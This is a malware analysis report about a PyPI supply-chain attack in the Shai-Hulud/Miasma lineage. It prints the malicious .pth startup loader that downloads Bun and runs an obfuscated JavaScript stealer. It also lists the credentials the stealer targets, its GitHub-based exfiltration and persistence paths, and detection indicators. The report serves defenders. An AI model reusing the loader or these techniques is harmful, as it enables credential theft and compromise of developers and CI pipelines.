cd /news/developer-tools/shai-hulud-descends-to-hades-miasma-… · home topics developer-tools article
[ARTICLE · art-26098] src=socket.dev pub= topic=developer-tools verified=true sentiment=↓ negative

Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads with New PyPI Wave

Socket detected a coordinated PyPI compromise involving 37 malicious wheel artifacts across 19 packages, part of the Shai-Hulud/Miasma campaign that uses Python startup execution to download Bun and run an obfuscated JavaScript stealer targeting developer and CI/CD credentials. The attack marks a new Hades-themed branch of the same lineage, with 448 total artifacts now tracked across npm and PyPI.

read11 min publishedJun 7, 2026

Socket detected a coordinated PyPI compromise involving 37 malicious wheel artifacts across 19 packages. The compromised releases shipped a *-setup.pth

file that attempts to execute automatically during Python startup, download the Bun JavaScript runtime, and run an obfuscated JavaScript payload named _index.js

.

Socket’s AI malware detection system identified the malicious package cluster minutes after publication. The attack is cross-runtime, and the tradecraft is unmistakably Shai-Hulud / Miasma. Python packages provide the delivery vehicle, but the payload runs under Bun as a heavily obfuscated JavaScript stealer. That Bun dependency is a key fingerprint of this family: Shai-Hulud-style payloads do not assume Node.js, Python, or another local runtime will be available. Instead, they download and install Bun, then use it as the execution engine. That behavior has shown up even in npm compromises, where Node.js would otherwise be the expected runtime.

Static deobfuscation of _index.js

mirrors what we have seen in compromised npm packages from the same lineage: a character-code and ROT-style eval

wrapper, AES-GCM encrypted stages, rotated string tables, custom string decoders, and embedded AES/gzip-protected strings. Once unpacked, the payload targets the same high-value developer and CI/CD secret classes seen across Mini Shai-Hulud and Miasma waves, including GitHub, npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic, AWS, GCP, Azure, Kubernetes, Vault, SSH keys, Docker configs, shell histories, .env

files, .npmrc

, .pypirc

, Claude/MCP configs, and other local or runner-accessible credentials.

The campaign marker changed. Earlier reporting tied the Red Hat Cloud Services wave to the Zelda-themed payload marker Miasma: The Spreading Blight

, and other Shai-Hulud-related activity has used different thematic markers. The Shai-Hulud connection was first flagged to us on Bluesky by boredchilada, an incident responder who tagged Socket shortly after the packages went live; our deobfuscation of _index.js

confirmed it, though with a new theme. Instead of Zelda references, this payload uses Hades-themed GitHub exfiltration markers, including the repository description Hades - The End for the Damned

and generated repository-name components such as stygian

, tartarean

, cerberus

, charon

, styx

, lethe

, thanatos

, and persephone

.

That makes Hades best understood as a PyPI branch of the same Mini Shai-Hulud / Miasma lineage, not a standalone Python malware incident. The core playbook remains the same: abuse trusted package channels, execute before normal package use, stage a Bun-powered JavaScript payload, steal developer and CI/CD credentials, and use GitHub-centric exfiltration and propagation logic. What changed is the ecosystem-specific trigger: this wave uses Python *-setup.pth

startup execution instead of npm preinstall

or other npm install-time paths.

The PyPI packages are the latest branch of this campaign that has moved quickly across open source ecosystems over the past few days. Socket is now tracking 448 affected artifacts across npm and PyPI, comprising 411 npm artifacts across 106 packages and 37 malicious PyPI wheels across 19 projects. At the time of writing, PyPI had already quarantined a number of the affected releases; we reported the remaining ones to the PyPI security team. We are tracking the full campaign on a dedicated page, with all affected artifacts added as they are identified: https://socket.dev/supply-chain-attacks/miasma-mini-shai-hulud-supply-chain-attack

Affected PyPI packages# #

These 37 compromised artifacts span 19 PyPI packages from what looks like a single maintainer-account takeover. Consecutive patch releases were mass-published across the author's whole portfolio at once. The risk concentrates in a handful of established bioinformatics tools: dynamo-release

(the aristoteleo/dynamo

single-cell RNA-velocity and expression-dynamics framework) and its spatial-transcriptomics sibling spateo-release

, coolbox

(GangCaoLab's Jupyter-based multi-omics genomic visualization toolkit for Hi-C/ChIP-Seq/RNA-Seq tracks), and the deep-learning FISH spot-detection tools ufish

/napari-ufish

. These are real and widely used research-community tools with cumulative download totals in the low-to-mid hundreds of thousands; they account for the large majority of the aggregate install base. The rest are low-traffic agent/task-execution, function-description, and lab-utility libraries — small footprints caught in the same blast rather than independently valuable targets.

What the malicious wheels contained# #

The malicious wheel pattern observed by Socket is simple and highly suspicious:

<package>/
  ...
  _index.js
  *-setup.pth

The *-setup.pth

file contains a single executable Python line. Python’s site

module processes .pth

files during interpreter startup; lines beginning with import

followed by a space or tab are executed. That gives attackers an automatic startup execution primitive after installation, without requiring the victim to import the compromised package.

The attempts to:

  • create a sentinel at tempfile.gettempdir()/.bun_ran

; - locate _index.js

next to the package or one subdirectory below it; - download Bun v1.3.13

from GitHub if no cached Bun binary exists under the temp directory; - run bun run _index.js

; - write the sentinel to avoid repeated execution.

A normalized version of the :

import glob
import os
import platform
import subprocess
import sys
import tempfile
import urllib.request
import zipfile

sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")

    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""

    is_windows = os.name == "nt"
    bun = os.path.join(tempfile.gettempdir(), "b", "bun" + (".exe" if is_windows else ""))

    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux": "linux", "darwin": "darwin", "win32": "windows"}.get(sys.platform, "linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path,
        )
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
        os.unlink(zip_path)

    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Implementation note

Defenders should validate exploitability per artifact. In standard CPython, executable .pth

lines are executed by the site

module, and __file__

can resolve to site.py

rather than to the .pth

file. In a local CPython reproduction, this exact shape did not automatically resolve the adjacent package _index.js

via os.path.dirname(__file__)

. The artifact is still malicious: it ships a credential stealer and attempts to bootstrap Bun from a Python startup hook.

Why .pth #

is dangerous#

The attack abuses a legitimate Python startup feature. .pth

files were designed to add paths to sys.path

and support import hooks. But Python explicitly supports executable lines beginning with import

. Those lines run at every Python startup, whether or not the corresponding package is imported.

That means a compromised wheel can turn an otherwise passive dependency install into a delayed execution trigger: the next python

, pip

, test run, notebook kernel, CI job, or package-management command that starts Python may process the malicious .pth

.

This is the Python equivalent of the npm install-hook problem that Shai-Hulud and Miasma repeatedly exploit. The syntax is different, but the security consequence is the same: dependency installation creates an execution edge before application code is reviewed or invoked.

Payload deobfuscation# #

Static deobfuscation of _index.js

recovered multiple layers:

Outer JavaScript wrapper

A try { eval(...) }

wrapper decodes a large character-code array and applies a ROT-style alphabet substitution.

**AES-GCM **

The decoded first stage imports node:crypto

, decrypts two embedded AES-128-GCM blobs, writes the main payload to a random /tmp/p*.js

, and runs it with Bun.

Bun bootstrapper

A decrypted bootstrapper downloads Bun from https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/

.

Main JavaScript payload

The main payload uses a rotated string table, a custom PBKDF2/SHA256-based string decoder, and an additional AES-256-GCM + gzip string layer.

The submitted _index.js

sample starts with a try{eval(...)}

wrapper and a long char-code array, matching the obfuscated first stage recovered during static analysis.

Capabilities# #

The recovered payload is a broad developer and cloud credential stealer. It targets:

  • GitHub credentials, GitHub Actions runner secrets, runner memory, and ghs_*

tokens. - npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic, and package-publishing tokens.

  • AWS credentials, STS identity, SSM Parameter Store, and Secrets Manager.
  • GCP identity, projects, and Secret Manager.
  • Azure identity and Key Vault material.
  • Kubernetes service-account tokens and cluster secrets.
  • Vault tokens and Vault secrets. .env

, .npmrc

, .pypirc

, Git credentials, shell histories, SSH keys, Docker configs, cloud CLI caches, Claude/MCP configs, wallet/app data, and other developer-machine secrets.

This target list closely matches the Shai-Hulud/Miasma operating model: steal credentials that can unlock package publishing, source control, cloud infrastructure, and CI/CD pipelines, then use that access to deepen or propagate compromise.

Exfiltration# #

The payload includes multiple exfiltration paths.

Direct HTTPS exfiltration

The payload contains a direct HTTPS sender configured for:

api.anthropic.com
/v1/api
443

This is Anthropic's real API host. Both GET

and POST

requests to https://api.anthropic.com/v1/api

return Anthropic's standard 404 not_found_error

, confirming /v1/api

is not a live route. Hence, this channel cannot deliver data to the attacker, and there is no indication Anthropic systems were compromised. We assess its purpose as network-log camouflage: traffic to a ubiquitous AI-vendor host blends in and is impractical to blanket-block, while GitHub remains the family's confirmed exfiltration channel.

GitHub repository exfiltration

The payload can create public repositories using POST /user/repos

, then commit encrypted/compressed result envelopes under paths like:

results/results-<timestamp>-<counter>.json

Recovered markers include:

Repository description: Hades - The End for the Damned

Commit marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully

GitHub Actions artifact exfiltration

Embedded workflow logic writes GitHub Actions secrets to:

format-results.txt

and uploads an artifact named:

format-results

Recovered workflow name:

Run Copilot

Evasion and environmental checks# #

The payload contains checks for Russian locale/environment signals and StepSecurity/harden-runner indicators. It also includes decoy-token prefix checks covering GitHub, npm, Anthropic, CircleCI, and AWS-style secrets.

This is another continuity point with the broader Shai-Hulud family: the actor or copycat tooling is not simply grabbing environment variables; it is trying to identify instrumented environments, avoid some decoys, and focus on high-value credential material.

Persistence and follow-on artifacts# #

Recovered persistence/follow-on indicators include:

gh-token-monitor
GitHub Commit Monitor
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
~/.local/share/updater/update.py
.claude/setup.mjs
.github/setup.js
.github/workflows/codeql.yml

The Claude/MCP and GitHub workflow artifacts are especially important in the broader context. Recent Shai-Hulud-like campaigns have moved beyond package manager hooks into AI developer toolchains, MCP configuration, IDE/editor hooks, and workflow-level persistence. This PyPI wave should be investigated not only as a package compromise, but as a possible entry point into developer automation and AI-assisted coding environments.

Detection opportunities# #

Package-level static detection

High-confidence static detection should alert on any PyPI wheel containing:

.pth executable import line
remote runtime or executable download
tempdir binary install
subprocess execution
_index.js or JavaScript payload handoff

Specific strings from this wave:

.bun_ran
_index.js
oven-sh/bun/releases/download
bun-v1.3.13
urllib.request
urlretrieve
subprocess
tempfile.gettempdir
bun run
exec(

A generic rule should not depend on the exact Bun version. The family can easily change bun-v1.3.13

to another release, rename the sentinel, or swap _index.js

for another filename. The stronger behavior chain is executable .pth

plus network retrieval plus subprocess execution plus staged JavaScript payload.

Runtime detection

Runtime indicators include:

python -> bun
python -> network request to github.com/oven-sh/bun/releases/download/
python -> writes tempdir/b.zip
python -> writes tempdir/b/bun or tempdir/b/bun.exe
bun -> runs _index.js
bun or node-like runtime -> outbound HTTPS to api.anthropic.com/v1/api

Filesystem indicators:

/tmp/.bun_ran
%TEMP%\\.bun_ran
/tmp/b.zip
%TEMP%\\b.zip
/tmp/b/bun
%TEMP%\\b\\bun.exe
_index.js inside site-packages or package subdirectories
*-setup.pth inside site-packages

GitHub and CI indicators:

Repository description: Hades - The End for the Damned
Commit marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully
Workflow name: Run Copilot
Artifact name: format-results
Path pattern: results/results-*.json
Unexpected .github/workflows/codeql.yml changes

Hades adapts Miasma tradecraft for PyPI# #

The Hades PyPI cluster shows how Mini Shai-Hulud-style tradecraft continues to splinter into ecosystem-specific branches. Unlike earlier Mini Shai-Hulud waves, which moved from PyPI to npm and then Packagist through a related compromise chain, this wave centers on a separate set of malicious Python wheels. The overlap is in technique: the Miasma Red Hat wave showed abuse of legitimate trusted namespaces, forged provenance, Bun staging, cloud identity theft, and CI/CD propagation.

For defenders, the lesson is that install-time and startup-time code execution should be treated as a first-class supply chain risk across ecosystems:

  • npm: preinstall

, install

, postinstall

, native build scripts, node-gyp

indirection. - PyPI: .pth

executable lines, import-time code, setup/build hooks, console-script wrappers, dependency confusion, malicious wheels. - Packagist: Composer plugins and scripts.

  • GitHub: Actions workflow injection, artifacts, repository exfiltration, and token propagation.
  • AI developer tooling: Claude/MCP config poisoning, editor hooks, agent memory/context abuse, and LLM API token harvesting.

Recommended response

Organizations that installed any affected version should remove or pin away from the malicious releases, rebuild affected environments where possible, and rotate credentials available to affected developer machines or CI jobs.

Prioritize rotation and review for:

  • GitHub personal access tokens, GitHub App tokens, GitHub Actions secrets, and repository deploy keys.
  • PyPI, npm, RubyGems, JFrog, and other package-publishing tokens.
  • AWS, GCP, Azure, Kubernetes, and Vault credentials.
  • SSH keys, Docker credentials, Git credential helpers, cloud CLI profiles, and shell history secrets.
  • Anthropic, CircleCI, Claude/MCP, and other developer-tool tokens.

Search local systems, CI workers, and GitHub organizations for the indicators above. Treat any GitHub repository created with the recovered Hades marker, any format-results artifact, or any suspicious workflow named Run Copilot as a likely exfiltration artifact.

Indicators of Compromise (IOCs)# #

Malicious PyPI Artifacts

bramin@0.0.2

bramin@0.0.3

bramin@0.0.4

cmd2func@0.2.2

cmd2func@0.2.3

coolbox@0.4.1

coolbox@0.4.2

dynamo-release@1.5.4

executor-engine@0.3.4

executor-engine@0.3.5

executor-http@0.1.3

executor-http@0.1.4

funcdesc@0.2.2

funcdesc@0.2.3

magique@0.6.8

magique@0.6.9

magique-ai@0.4.4

magique-ai@0.4.5

mrbios@0.1.1

mrbios@0.1.2

napari-ufish@0.0.2

napari-ufish@0.0.3

nucbox@0.1.2

nucbox@0.1.3

okite@0.0.7

okite@0.0.8

pantheon-agents@0.6.1

pantheon-agents@0.6.2

pantheon-toolsets@0.5.5

pantheon-toolsets@0.5.6

spateo-release@1.1.2

synago@0.1.1

synago@0.1.2

ufish@0.1.2

ufish@0.1.3

uprobe@0.1.3

uprobe@0.1.4

Hashes

_index.js

SHA256 hashes

dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe

(Variant 1, 4.8 MB, 17 packages)e1342a80d4b5e83d2c7c22e1e0aaa95f2d88e3dbf0d853a4994b180c93a4b17d

(Variant 2, 4.7 MB, 2 packages)

*-setup.pth

SHA256 hash (identical across all affected artifacts):

c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c

Files

*-setup.pth

_index.js

strings

.bun_ran

bun-v1.3.13

oven-sh/bun/releases/download

urllib.request

urlretrieve

tempfile.gettempdir

subprocess.run

Network

hxxps://api[.]anthropic[.]com/v1/api

  • legitimate Anthropic API host abused as a camouflage exfiltration destination

GitHub exfiltration markers

Hades - The End for the Damned

IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully

results/results-*.json

format-results

Run Copilot

── more in #developer-tools 4 stories · sorted by recency
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/shai-hulud-descends-…] indexed:0 read:11min 2026-06-07 ·